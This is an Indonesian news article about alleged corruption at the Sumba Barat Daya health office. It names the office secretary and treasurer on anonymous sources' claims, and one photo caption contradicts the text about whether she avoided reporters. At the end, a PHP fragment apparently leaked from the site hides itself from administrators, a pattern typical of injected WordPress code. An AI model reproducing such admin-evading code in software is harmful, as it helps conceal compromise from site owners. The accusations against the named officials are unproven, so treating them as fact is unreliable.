Kesehatan

Aroma Dugaan Korupsi Menyeruak di Dinkes Kabupaten SBD, Nama Sekdis dan Bendahara Disebut

×

Aroma Dugaan Korupsi Menyeruak di Dinkes Kabupaten SBD, Nama Sekdis dan Bendahara Disebut

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Sudah sejak lama awak media mendapat pengaduan terkait adanya penyunatan honor dan insentif tenaga kesehatan maupun staf pada Dinas Kesehatan Kabupaten SBD.

Seluruh pemberi informasi ini menyebut satu nama di balik “sensor” rupiah yang jadi hak abdi negara di instansi tersebut.

Sekretaris Dinas Kabupaten SBD, drg Margaretha H. Selan disebut sebagai pihak yang melakukan penyunatan ini.

Sekretaris Dinas Kesehatan Kabupaten SBD, drg Margaretha H. Selan tidak menghindari pertanyaan wartawan. ( Foto Menara Sumba )

Bau “amis” dugaan korupsi itu pun memantik perhatian wakil rakyat di DPRD Kabupaten SBD yang kemudian menggelar kunjungan kerja di RSUD Reda Bolo, Senin (16/03/2026).

Tim Komisi I DPRD SBD pimpinan Octavianus Dapa Talu, SE ini membawa sejumlah pertanyaan terkait penyunatan insentif dan beberapa soal krusial lain.

Salah satu narasumber terpercaya menyebut, insentif dokter spesialis PNS misalnya, dipotong, dari Rp. 35.000.000,- menjadi Rp. 10.000.000,- tanpa ada pemberitahuan atau diskusi terlebih dahulu.

“Ada pula uang bensin dokter spesialis tahun 2025, yang disebut dikorupsi oleh sekdis dan bendahara dinas kesehatan,” beber narasumber yang enggan disebut namanya.

Total ada dua kali pencairan, namun tidak ada yang diberikan ke dokter spesialis, tetapi yang pasti benar dikorupsi dan ada isu diminta untuk pengembalian

Para pemain anggaran ini juga mendatangkan dokter residen (status masih pendidikan), sebanyak enam orang yang tidak sesuai urgensi kebutuhan pelayanan.

“Tidak efektif dan efisien, hanya habiskan anggaran daerah, karena para dokter residen ini banyak yang nganggur di rumah sakit,” ungkapnya.

Padahal, dokter ini dibayar 138 juta per bulan (6 x 23 juta tiap bulan) ditambah uang kos 10,2 juta (6 x 1,7 juta), serta uang tiket Solo-Tambolaka PP.

Selain itu, ada juga anggaran untuk keperluan sewa dua buah mobil untuk dipakai dokter residen yang adalah mobil milik sekdis dan bendahara dinkes.

Sekretaris Dinas Kesehatan Kabupaten SBD, drg. Margaretha H. Selan yang dikonfirmasi usai pertemuan di lantai dua RSUD Reda Bolo mengelak dari wartawan.

“Nanti dengan Pak Kadis, saya hanya staf saja,” elaknya sambil berjalan menghindari awak media. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>